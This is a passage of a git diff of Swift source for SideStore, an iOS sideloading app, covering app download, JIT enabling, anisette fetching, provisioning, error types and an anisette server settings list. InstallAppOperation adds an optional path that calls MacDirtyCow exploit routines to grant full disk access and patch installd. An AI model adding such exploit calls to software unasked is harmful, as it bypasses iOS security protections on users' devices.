guard response.statusCode != 404 else { throw CocoaError(.fileNoSuchFile, userInfo: [NSURLErrorKey: sourceURL]) }
}
let (fileURL, _) = try Result((fileURL, response), error).get()
finishOperation(.success(fileURL))
@@ -280,7 +252,7 @@ private extension DownloadAppOperation
let altstorePlist = try PropertyListDecoder().decode(AltStorePlist.self, from: data)
var dependencyURLs = Set<URL>()
var dependencyError: Error?
var dependencyError: DependencyError?
let dispatchGroup = DispatchGroup()
let progress = Progress(totalUnitCount: Int64(altstorePlist.dependencies.count), parent: self.progress, pendingUnitCount: 1)
@@ -313,7 +285,7 @@ private extension DownloadAppOperation
}
catch let error as DecodingError
{
let nsError = (error as NSError).withLocalizedFailure(String(format: NSLocalizedString("Could not determine dependencies for %@.", comment: ""), application.name))
let nsError = (error as NSError).withLocalizedFailure(String(format: NSLocalizedString("Could not download dependencies for %@.", comment: ""), application.name))
completionHandler(.failure(nsError))
}
catch
@@ -322,7 +294,7 @@ private extension DownloadAppOperation
}
}
func download(_ dependency: Dependency, for application: ALTApplication, progress: Progress, completionHandler: @escaping (Result<URL, Error>) -> Void)
func download(_ dependency: Dependency, for application: ALTApplication, progress: Progress, completionHandler: @escaping (Result<URL, DependencyError>) -> Void)
{
let downloadTask = self.session.downloadTask(with: dependency.downloadURL) { (fileURL, response, error) in
do
@@ -343,10 +315,9 @@ private extension DownloadAppOperation
completionHandler(.success(destinationURL))
}
catch let error as NSError
catch
{
let localizedFailure = String(format: NSLocalizedString("The dependency '%@' could not be downloaded.", comment: ""), dependency.preferredFilename)
completionHandler(.failure(error.withLocalizedFailure(localizedFailure)))
completionHandler(.failure(DependencyError(dependency: dependency, error: error)))
}
}
progress.addChild(downloadTask.progress, withPendingUnitCount: 1)

View File

@@ -9,17 +9,9 @@
import UIKit
import Combine
import minimuxer
import UniformTypeIdentifiers
import AltStoreCore
enum SideJITServerErrorType: Error {
case invalidURL
case errorConnecting
case deviceNotFound
case other(String)
}
@available(iOS 14, *)
protocol EnableJITContext
{
@@ -51,105 +43,21 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
}
guard let installedApp = self.context.installedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
if #available(iOS 17, *) {
let sideJITenabled = UserDefaults.standard.sidejitenable
let SideJITIP = UserDefaults.standard.textInputSideJITServerurl ?? ""
if sideJITenabled {
installedApp.managedObjectContext?.perform {
EnableJITSideJITServer(serverurl: SideJITIP, installedapp: installedApp) { result in
switch result {
case .failure(let error):
switch error {
case .invalidURL, .errorConnecting:
self.finish(.failure(OperationError.unableToConnectSideJIT))
case .deviceNotFound:
self.finish(.failure(OperationError.unableToRespondSideJITDevice))
case .other(let message):
if let startRange = message.range(of: "<p>"),
let endRange = message.range(of: "</p>", range: startRange.upperBound..<message.endIndex) {
let pContent = message[startRange.upperBound..<endRange.lowerBound]
self.finish(.failure(OperationError.SideJITIssue(error: String(pContent))))
print(message + " + " + String(pContent))
} else {
print(message)
self.finish(.failure(OperationError.SideJITIssue(error: message)))
}
}
case .success():
self.finish(.success(()))
print("Thank you for using this, it was made by Stossy11 and tested by trolley or sniper1239408")
}
}
return
}
}
} else {
installedApp.managedObjectContext?.perform {
var retries = 3
while (retries > 0){
do {
try debug_app(installedApp.resignedBundleIdentifier)
self.finish(.success(()))
retries = 0
} catch {
retries -= 1
if (retries <= 0){
self.finish(.failure(error))
}
installedApp.managedObjectContext?.perform {
var retries = 3
while (retries > 0){
do {
try debug_app(installedApp.resignedBundleIdentifier)
self.finish(.success(()))
retries = 0
} catch {
retries -= 1
if (retries <= 0){
self.finish(.failure(error))
}
}
}
}
}
}
@available(iOS 17, *)
func EnableJITSideJITServer(serverurl: String, installedapp: InstalledApp, completion: @escaping (Result<Void, SideJITServerErrorType>) -> Void) {
guard let udid = fetch_udid()?.toString() else {
completion(.failure(.other("Unable to get UDID")))
return
}
var SJSURL = serverurl
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
SJSURL = "http://sidejitserver._http._tcp.local:8080"
}
if !SJSURL.hasPrefix("http") {
completion(.failure(.invalidURL))
return
}
let fullurl = SJSURL + "/\(udid)/" + installedapp.resignedBundleIdentifier
let url = URL(string: fullurl)!
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
if let error = error {
completion(.failure(.errorConnecting))
return
}
guard let data = data, let datastring = String(data: data, encoding: .utf8) else { return }
if datastring == "Enabled JIT for '\(installedapp.name)'!" {
let content = UNMutableNotificationContent()
content.title = "JIT Successfully Enabled"
content.subtitle = "JIT Enabled For \(installedapp.name)"
content.sound = UNNotificationSound.default
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: 0.1, repeats: false)
let request = UNNotificationRequest(identifier: "EnabledJIT", content: content, trigger: nil)
UNUserNotificationCenter.current().add(request)
completion(.success(()))
} else {
let errorType: SideJITServerErrorType = datastring == "Could not find device!" ? .deviceNotFound : .other(datastring)
completion(.failure(errorType))
}
}
task.resume()
}

View File

@@ -45,7 +45,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
return
}
self.url = URL(string: UserDefaults.standard.menuAnisetteURL)
self.url = AnisetteManager.currentURL
print("Anisette URL: \(self.url!.absoluteString)")
if let identifier = Keychain.shared.identifier,
@@ -408,7 +408,6 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
fetchClientInfo {
print("Fetching anisette V3")
let url = UserDefaults.standard.menuAnisetteURL
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
request.httpMethod = "POST"
request.httpBody = try! JSONSerialization.data(withJSONObject: [

View File

@@ -45,8 +45,8 @@ final class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProv
let session = self.context.session
else { return self.finish(.failure(OperationError.invalidParameters)) }
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound(name: nil))) }
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
self.progress.totalUnitCount = Int64(1 + app.appExtensions.count)
self.prepareProvisioningProfile(for: app, parentApp: nil, team: team, session: session) { (result) in
@@ -260,7 +260,7 @@ extension FetchProvisioningProfilesOperation
{
if let expirationDate = sortedExpirationDates.first
{
throw OperationError.maximumAppIDLimitReached(appName: application.name, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
}
}
}
@@ -286,7 +286,7 @@ extension FetchProvisioningProfilesOperation
{
if let expirationDate = sortedExpirationDates.first
{
throw OperationError.maximumAppIDLimitReached(appName: application.name, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
}
else
{

View File

@@ -12,6 +12,9 @@ import AltStoreCore
import AltSign
import Roxas
import minimuxer
#if MACDIRTYCOW
import MacDirtyCow
#endif
@objc(InstallAppOperation)
final class InstallAppOperation: ResultOperation<InstalledApp>
@@ -200,10 +203,42 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
}
do {
#if MACDIRTYCOW
if UserDefaults.standard.isMDCEnabled {
grant_full_disk_access { error in
if error != nil {
self.finish(.failure(OperationError.mdcExploitFailed))
return
}
if !patch_installd() {
self.finish(.failure(OperationError.mdcExploitFailed))
return
}
do
{
try install_ipa(installedApp.bundleIdentifier)
installing = false
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
} catch let error {
installing = false
self.finish(.failure(error))
}
}
}
else {
try install_ipa(installedApp.bundleIdentifier)
installing = false
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
}
#else
try install_ipa(installedApp.bundleIdentifier)
installing = false
installedApp.refreshedDate = Date()
self.finish(.success(installedApp))
#endif
} catch let error {
installing = false
self.finish(.failure(error))

View File

@@ -12,10 +12,7 @@ import Roxas
class ResultOperation<ResultType>: Operation
{
var resultHandler: ((Result<ResultType, Error>) -> Void)?
// Should only be set by subclasses
var localizedFailure: String?
@available(*, unavailable)
override func finish()
{
@@ -25,20 +22,16 @@ class ResultOperation<ResultType>: Operation
func finish(_ result: Result<ResultType, Error>)
{
guard !self.isFinished else { return }
var result = result
if self.isCancelled
{
result = .failure(OperationError.cancelled)
self.resultHandler?(.failure(OperationError.cancelled))
}
else if case .failure(let nsError as NSError) = result, let localizedFailure, nsError.localizedFailure == nil {
// Error doesn't have its own localizedFailure, so we give it the Operation's (if it exists)
let error = nsError.withLocalizedFailure(localizedFailure)
result = .failure(error)
else
{
self.resultHandler?(result)
}
self.resultHandler?(result)
super.finish()
}
}

View File

@@ -8,186 +8,74 @@
import Foundation
import AltSign
import AltStoreCore
import minimuxer
extension OperationError
enum OperationError: LocalizedError
{
enum Code: Int, ALTErrorCode, CaseIterable {
typealias Error = OperationError
// General
case unknown = 1000
case unknownResult
case cancelled
case timedOut
case unableToConnectSideJIT
case unableToRespondSideJITDevice
case wrongSideJITIP
case SideJITIssue // (error: String)
case refreshsidejit
case notAuthenticated
case appNotFound
case unknownUDID
case invalidApp
case invalidParameters
case maximumAppIDLimitReached//((application: ALTApplication, requiredAppIDs: Int, availableAppIDs: Int, nextExpirationDate: Date)
case noSources
case openAppFailed//(name: String)
case missingAppGroup
// Connection
case noWiFi = 1200
case tooNewError
case anisetteV1Error//(message: String)
case provisioningError//(result: String, message: String?)
case anisetteV3Error//(message: String)
case cacheClearError//(errors: [String])
}
static let unknownResult: OperationError = .init(code: .unknownResult)
static let cancelled: OperationError = .init(code: .cancelled)
static let timedOut: OperationError = .init(code: .timedOut)
static let unableToConnectSideJIT: OperationError = .init(code: .unableToConnectSideJIT)
static let unableToRespondSideJITDevice: OperationError = .init(code: .unableToRespondSideJITDevice)
static let wrongSideJITIP: OperationError = .init(code: .wrongSideJITIP)
static let notAuthenticated: OperationError = .init(code: .notAuthenticated)
static let unknownUDID: OperationError = .init(code: .unknownUDID)
static let invalidApp: OperationError = .init(code: .invalidApp)
static let invalidParameters: OperationError = .init(code: .invalidParameters)
static let noSources: OperationError = .init(code: .noSources)
static let missingAppGroup: OperationError = .init(code: .missingAppGroup)
static let noWiFi: OperationError = .init(code: .noWiFi)
static let tooNewError: OperationError = .init(code: .tooNewError)
static let provisioningError: OperationError = .init(code: .provisioningError)
static let anisetteV1Error: OperationError = .init(code: .anisetteV1Error)
static let anisetteV3Error: OperationError = .init(code: .anisetteV3Error)
static let cacheClearError: OperationError = .init(code: .cacheClearError)
static func unknown(failureReason: String? = nil, file: String = #fileID, line: UInt = #line) -> OperationError {
OperationError(code: .unknown, failureReason: failureReason, sourceFile: file, sourceLine: line)
}
static func appNotFound(name: String?) -> OperationError {
OperationError(code: .appNotFound, appName: name)
}
static func openAppFailed(name: String?) -> OperationError {
OperationError(code: .openAppFailed, appName: name)
}
static let domain = OperationError.unknown._domain
static func SideJITIssue(error: String?) -> OperationError {
var o = OperationError(code: .SideJITIssue)
o.errorFailure = error
return o
}
case unknown
case unknownResult
case cancelled
case timedOut
static func maximumAppIDLimitReached(appName: String, requiredAppIDs: Int, availableAppIDs: Int, expirationDate: Date) -> OperationError {
OperationError(code: .maximumAppIDLimitReached, appName: appName, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
}
static func provisioningError(result: String, message: String?) -> OperationError {
var o = OperationError(code: .provisioningError, failureReason: result)
o.errorTitle = message
return o
}
static func cacheClearError(errors: [String]) -> OperationError {
OperationError(code: .cacheClearError, failureReason: errors.joined(separator: "\n"))
}
static func anisetteV1Error(message: String) -> OperationError {
OperationError(code: .anisetteV1Error, failureReason: message)
}
static func anisetteV3Error(message: String) -> OperationError {
OperationError(code: .anisetteV3Error, failureReason: message)
}
}
struct OperationError: ALTLocalizedError {
let code: Code
var errorTitle: String?
var errorFailure: String?
var appName: String?
var requiredAppIDs: Int?
var availableAppIDs: Int?
var expirationDate: Date?
var sourceFile: String?
var sourceLine: UInt?
private var _failureReason: String?
private init(code: Code, failureReason: String? = nil,
appName: String? = nil, requiredAppIDs: Int? = nil, availableAppIDs: Int? = nil,
expirationDate: Date? = nil, sourceFile: String? = nil, sourceLine: UInt? = nil){
self.code = code
self._failureReason = failureReason
self.appName = appName
self.requiredAppIDs = requiredAppIDs
self.availableAppIDs = availableAppIDs
self.expirationDate = expirationDate
self.sourceFile = sourceFile
self.sourceLine = sourceLine
}
var errorFailureReason: String {
switch self.code {
case .unknown:
var failureReason = self._failureReason ?? NSLocalizedString("An unknown error occurred.", comment: "")
guard let sourceFile, let sourceLine else { return failureReason }
failureReason += " (\(sourceFile) line \(sourceLine)"
return failureReason
case notAuthenticated
case appNotFound
case unknownUDID
case invalidApp
case invalidParameters
case maximumAppIDLimitReached(application: ALTApplication, requiredAppIDs: Int, availableAppIDs: Int, nextExpirationDate: Date)
case noSources
case openAppFailed(name: String)
case missingAppGroup
case noWiFi
case tooNewError
case anisetteV1Error(message: String)
case provisioningError(result: String, message: String?)
case anisetteV3Error(message: String)
case mdcExploitFailed
case cacheClearError(errors: [String])
var failureReason: String? {
switch self {
case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
case .unknownResult: return NSLocalizedString("The operation returned an unknown result.", comment: "")
case .cancelled: return NSLocalizedString("The operation was cancelled.", comment: "")
case .timedOut: return NSLocalizedString("The operation timed out.", comment: "")
case .notAuthenticated: return NSLocalizedString("You are not signed in.", comment: "")
case .unknownUDID: return NSLocalizedString("SideStore could not determine this device's UDID.", comment: "")
case .invalidApp: return NSLocalizedString("The app is in an invalid format.", comment: "")
case .appNotFound: return NSLocalizedString("App not found.", comment: "")
case .unknownUDID: return NSLocalizedString("Unknown device UDID.", comment: "")
case .invalidApp: return NSLocalizedString("The app is invalid.", comment: "")
case .invalidParameters: return NSLocalizedString("Invalid parameters.", comment: "")
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs within a 7 day period.", comment: "")
case .noSources: return NSLocalizedString("There are no SideStore sources.", comment: "")
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be accessed.", comment: "")
case .appNotFound:
let appName = self.appName ?? NSLocalizedString("The app", comment: "")
return String(format: NSLocalizedString("%@ could not be found.", comment: ""), appName)
case .openAppFailed:
let appName = self.appName ?? NSLocalizedString("The app", comment: "")
return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), appName)
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi and/or the WireGuard VPN!\nSideStore will never be able to install or refresh applications without WiFi and the WireGuard VPN.", comment: "")
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi!\nSideStore will never be able to install or refresh applications without WiFi.", comment: "")
case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
case .unableToConnectSideJIT: return NSLocalizedString("Unable to connect to SideJITServer Please check that you are on the Same Wi-Fi and your Firewall has been set correctly", comment: "")
case .unableToRespondSideJITDevice: return NSLocalizedString("SideJITServer is unable to connect to your iDevice Please make sure you have paired your Device by doing 'SideJITServer -y' or try Refreshing SideJITServer from Settings", comment: "")
case .wrongSideJITIP: return NSLocalizedString("Incorrect SideJITServer IP Please make sure that you are on the Samw Wifi as SideJITServer", comment: "")
case .refreshsidejit: return NSLocalizedString("Unable to find App Please try Refreshing SideJITServer from Settings", comment: "")
case .anisetteV1Error: return NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: "")
case .provisioningError: return NSLocalizedString("An error occurred when provisioning: %@ %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: "")
case .anisetteV3Error: return NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: "")
case .cacheClearError: return NSLocalizedString("An error occurred while clearing cache: %@", comment: "")
case .SideJITIssue: return NSLocalizedString("An error occurred while using SideJIT: %@", comment: "")
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
case .mdcExploitFailed: return NSLocalizedString("An error occured while running MDC exploit, try disabling it in settings", comment: "")
case .cacheClearError(let errors): return String(format: NSLocalizedString("An error occurred while clearing cache: %@", comment: ""), errors.joined(separator: "\n"))
}
}
var recoverySuggestion: String? {
switch self.code
switch self
{
case .noWiFi: return NSLocalizedString("Make sure the VPN is toggled on and you are connected to any WiFi network!", comment: "")
case .maximumAppIDLimitReached:
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
guard let appName, let requiredAppIDs, let availableAppIDs, let expirationDate else { return baseMessage }
var message: String
let message: String
if requiredAppIDs > 1
{
let availableText: String
@@ -199,23 +87,23 @@ struct OperationError: ALTLocalizedError {
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
}
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), appName, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage + "\n\n"
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
message = prefixMessage + " " + baseMessage
}
else
{
message = baseMessage + " "
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
let dateComponentsFormatter = DateComponentsFormatter()
dateComponentsFormatter.maximumUnitCount = 1
dateComponentsFormatter.unitsStyle = .full
let remainingTime = dateComponentsFormatter.string(from: dateComponents)!
let remainingTimeMessage = String(format: NSLocalizedString("You can register another App ID in %@.", comment: ""), remainingTime)
message = baseMessage + " " + remainingTimeMessage
}
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: expirationDate)
let dateFormatter = DateComponentsFormatter()
dateFormatter.maximumUnitCount = 1
dateFormatter.unitsStyle = .full
let remainingTime = dateFormatter.string(from: dateComponents)!
message += String(format: NSLocalizedString("You can register another App ID in %@.", comment: ""), remainingTime)
return message
default: return nil

View File

@@ -25,38 +25,22 @@ protocol PatchAppContext
var error: Error? { get }
}
extension PatchAppError
enum PatchAppError: LocalizedError
{
enum Code: Int, ALTErrorCode, CaseIterable {
typealias Error = PatchAppError
case unsupportedOperatingSystemVersion
}
static func unsupportedOperatingSystemVersion(_ osVersion: OperatingSystemVersion) -> PatchAppError {
PatchAppError(code: .unsupportedOperatingSystemVersion, osVersion: osVersion)
}
}
struct PatchAppError: ALTLocalizedError {
let code: Code
var errorTitle: String?
var errorFailure: String?
var osVersion: OperatingSystemVersion?
var errorFailureReason: String {
switch self.code {
case .unsupportedOperatingSystemVersion:
let osVersionString: String
if let osVersion = self.osVersion?.stringValue {
osVersionString = NSLocalizedString("iOS", comment: "") + " " + osVersion
} else {
osVersionString = NSLocalizedString("your device's iOS version", comment: "")
case unsupportedOperatingSystemVersion(OperatingSystemVersion)
var errorDescription: String? {
switch self
{
case .unsupportedOperatingSystemVersion(let osVersion):
var osVersionString = "\(osVersion.majorVersion).\(osVersion.minorVersion)"
if osVersion.patchVersion != 0
{
osVersionString += ".\(osVersion.patchVersion)"
}
return String(format: NSLocalizedString("The OTA download URL for %@ could not be determined.", comment: ""), osVersionString)
let errorDescription = String(format: NSLocalizedString("The OTA download URL for iOS %@ could not be determined.", comment: ""), osVersionString)
return errorDescription
}
}
}

View File

@@ -439,7 +439,7 @@ private extension PatchViewController
do
{
guard let (bundleIdentifier, result) = results.first else { throw refreshGroup?.context.error ?? OperationError.unknown() }
guard let (bundleIdentifier, result) = results.first else { throw refreshGroup?.context.error ?? OperationError.unknown }
_ = try result.get()
if var patchedApps = UserDefaults.standard.patchedApps, let index = patchedApps.firstIndex(of: bundleIdentifier)

View File

@@ -38,8 +38,8 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
if let error = self.context.error { return self.finish(.failure(error)) }
guard let profiles = self.context.provisioningProfiles else { return self.finish(.failure(OperationError.invalidParameters)) }
guard let app = self.context.app else { return self.finish(.failure(OperationError(.appNotFound(name: nil)))) }
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
for p in profiles {
do {
let bytes = p.value.data.toRustByteSlice()
@@ -49,13 +49,14 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
}
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
print("Sending refresh app request...")
self.progress.completedUnitCount += 1
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
self.managedObjectContext.perform {
guard let installedApp = InstalledApp.first(satisfying: predicate, in: self.managedObjectContext) else {
self.finish(.failure(OperationError(.appNotFound(name: app.name))))
self.finish(.failure(OperationError.appNotFound))
return
}
installedApp.update(provisioningProfile: p.value)

View File

@@ -116,9 +116,7 @@ private extension ResignAppOperation
infoDictionary[kCFBundleIdentifierKey as String] = profile.bundleIdentifier
infoDictionary[Bundle.Info.altBundleID] = identifier
infoDictionary[Bundle.Info.devicePairingString] = "<insert pairing file here>"
infoDictionary.removeValue(forKey: "DTXcode")
infoDictionary.removeValue(forKey: "DTXcodeBuild")
infoDictionary[Bundle.Info.devicePairingString] = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String
for (key, value) in additionalInfoDictionaryValues
{
@@ -186,7 +184,7 @@ private extension ResignAppOperation
{
guard let udid = fetch_udid()?.toString() as? String else { throw OperationError.unknownUDID }
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
additionalValues[Bundle.Info.devicePairingString] = "<insert pairing file here>"
additionalValues[Bundle.Info.devicePairingString] = pairingFileString
additionalValues[Bundle.Info.deviceID] = udid
additionalValues[Bundle.Info.serverID] = UserDefaults.standard.preferredServerID

View File

@@ -57,7 +57,7 @@ final class SendAppOperation: ResultOperation<()>
}
} else {
print("IPA doesn't exist????")
self.finish(.failure(OperationError(.appNotFound(name: resignedApp.name))))
self.finish(.failure(OperationError.appNotFound))
}
}
}

View File

@@ -8,87 +8,48 @@
import Foundation
import AltStoreCore
import AltSign
import Roxas
extension VerificationError
enum VerificationError: ALTLocalizedError
{
enum Code: Int, ALTErrorCode, CaseIterable {
typealias Error = VerificationError
case privateEntitlements
case mismatchedBundleIdentifiers
case iOSVersionNotSupported
}
static func privateEntitlements(_ entitlements: [String: Any], app: ALTApplication) -> VerificationError {
VerificationError(code: .privateEntitlements, app: app, entitlements: entitlements)
}
static func mismatchedBundleIdentifiers(sourceBundleID: String, app: ALTApplication) -> VerificationError {
VerificationError(code: .mismatchedBundleIdentifiers, app: app, sourceBundleID: sourceBundleID)
}
static func iOSVersionNotSupported(app: AppProtocol, osVersion: OperatingSystemVersion = ProcessInfo.processInfo.operatingSystemVersion, requiredOSVersion: OperatingSystemVersion?) -> VerificationError {
VerificationError(code: .iOSVersionNotSupported, app: app)
}
}
struct VerificationError: ALTLocalizedError {
let code: Code
var errorTitle: String?
var errorFailure: String?
@Managed var app: AppProtocol?
var entitlements: [String: Any]?
var sourceBundleID: String?
var deviceOSVersion: OperatingSystemVersion?
var requiredOSVersion: OperatingSystemVersion?
case privateEntitlements(ALTApplication, entitlements: [String: Any])
case mismatchedBundleIdentifiers(ALTApplication, sourceBundleID: String)
case iOSVersionNotSupported(ALTApplication)
var errorDescription: String? {
switch self.code {
case .iOSVersionNotSupported:
guard let deviceOSVersion else { return nil }
var failureReason = self.errorFailureReason
if self.app == nil {
let firstLetter = failureReason.prefix(1).lowercased()
failureReason = firstLetter + failureReason.dropFirst()
}
return String(formatted: "This device is running iOS %@, but %@", deviceOSVersion.stringValue, failureReason)
default: return nil
var app: ALTApplication {
switch self
{
case .privateEntitlements(let app, _): return app
case .mismatchedBundleIdentifiers(let app, _): return app
case .iOSVersionNotSupported(let app): return app
}
}
var errorFailureReason: String {
switch self.code
var failure: String? {
return String(format: NSLocalizedString("“%@” could not be installed.", comment: ""), app.name)
}
var failureReason: String? {
switch self
{
case .privateEntitlements:
let appName = self.$app.name ?? NSLocalizedString("The app", comment: "")
return String(formatted: "“%@” requires private permissions.", appName)
case .mismatchedBundleIdentifiers:
if let appBundleID = self.$app.bundleIdentifier, let bundleID = self.sourceBundleID {
return String(formatted: "The bundle ID '%@' does not match the one specified by the source ('%@').", appBundleID, bundleID)
} else {
return NSLocalizedString("The bundle ID does not match the one specified by the source.", comment: "")
}
case .iOSVersionNotSupported:
let appName = self.$app.name ?? NSLocalizedString("The app", comment: "")
let deviceOSVersion = self.deviceOSVersion ?? ProcessInfo.processInfo.operatingSystemVersion
guard let requiredOSVersion else {
return String(formatted: "%@ does not support iOS %@.", appName, deviceOSVersion.stringValue)
}
if deviceOSVersion > requiredOSVersion {
return String(formatted: "%@ requires iOS %@ or earlier", appName, requiredOSVersion.stringValue)
} else {
return String(formatted: "%@ requires iOS %@ or later", appName, requiredOSVersion.stringValue)
case .privateEntitlements(let app, _):
return String(format: NSLocalizedString("“%@” requires private permissions.", comment: ""), app.name)
case .mismatchedBundleIdentifiers(let app, let sourceBundleID):
return String(format: NSLocalizedString("The bundle ID “%@” does not match the one specified by the source (“%@”).", comment: ""), app.bundleIdentifier, sourceBundleID)
case .iOSVersionNotSupported(let app):
let name = app.name
var version = "iOS \(app.minimumiOSVersion.majorVersion).\(app.minimumiOSVersion.minorVersion)"
if app.minimumiOSVersion.patchVersion > 0
{
version += ".\(app.minimumiOSVersion.patchVersion)"
}
let localizedDescription = String(format: NSLocalizedString("%@ requires %@.", comment: ""), name, version)
return localizedDescription
}
}
}
@@ -119,14 +80,12 @@ final class VerifyAppOperation: ResultOperation<Void>
guard let app = self.context.app else { throw OperationError.invalidParameters }
if !["ny.litritt.ignited", "com.litritt.ignited"].contains(where: { $0 == app.bundleIdentifier }) {
guard app.bundleIdentifier == self.context.bundleIdentifier else {
throw VerificationError.mismatchedBundleIdentifiers(sourceBundleID: self.context.bundleIdentifier, app: app)
}
guard app.bundleIdentifier == self.context.bundleIdentifier else {
throw VerificationError.mismatchedBundleIdentifiers(app, sourceBundleID: self.context.bundleIdentifier)
}
guard ProcessInfo.processInfo.isOperatingSystemAtLeast(app.minimumiOSVersion) else {
throw VerificationError.iOSVersionNotSupported(app: app, requiredOSVersion: app.minimumiOSVersion)
throw VerificationError.iOSVersionNotSupported(app)
}
if #available(iOS 13.5, *)
@@ -157,7 +116,7 @@ final class VerifyAppOperation: ResultOperation<Void>
let entitlements = try PropertyListSerialization.propertyList(from: entitlementsPlist.data(using: .utf8)!, options: [], format: nil) as! [String: Any]
app.hasPrivateEntitlements = true
let error = VerificationError.privateEntitlements(entitlements, app: app)
let error = VerificationError.privateEntitlements(app, entitlements: entitlements)
self.process(error) { (result) in
self.finish(result.mapError { $0 as Error })
}
@@ -186,10 +145,9 @@ private extension VerifyAppOperation
guard let presentingViewController = self.context.presentingViewController else { return completion(.failure(error)) }
DispatchQueue.main.async {
switch error.code
switch error
{
case .privateEntitlements:
guard let entitlements = error.entitlements else { return completion(.failure(error)) }
case .privateEntitlements(_, let entitlements):
let permissions = entitlements.keys.sorted().joined(separator: "\n")
let message = String(format: NSLocalizedString("""
You must allow access to these private permissions before continuing:
@@ -208,7 +166,8 @@ private extension VerifyAppOperation
}))
presentingViewController.present(alertController, animated: true, completion: nil)
case .mismatchedBundleIdentifiers, .iOSVersionNotSupported: return completion(.failure(error))
case .mismatchedBundleIdentifiers: return completion(.failure(error))
case .iOSVersionNotSupported: return completion(.failure(error))
}
}
}

View File

@@ -0,0 +1,79 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>StringsTable</key>
<string>Root</string>
<key>ApplicationGroupContainerIdentifier</key>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<key>PreferenceSpecifiers</key>
<array>
<dict>
<key>Type</key>
<string>PSMultiValueSpecifier</string>
<key>Title</key>
<string>Anisette Server</string>
<key>Key</key>
<string>customAnisetteURL</string>
<key>DefaultValue</key>
<string>https://ani.sidestore.io</string>
<key>Titles</key>
<array>
<string>SideStore</string>
<string>Macley (US)</string>
<string>Macley (DE)</string>
<string>DrPudding</string>
<string>Sideloadly</string>
<string>Nick</string>
<string>Jawshoeadan</string>
<string>crystall1nedev</string>
</array>
<key>Values</key>
<array>
<string>https://ani.sidestore.io</string>
<string>http://5.249.163.88:6969/</string>
<string>http://45.132.246.138:6969/</string>
<string>https://sign.rheaa.xyz</string>
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
<string>http://45.33.29.114</string>
<string>https://anisette.jawshoeadan.me</string>
<string>https://anisette.crystall1ne.software/</string>
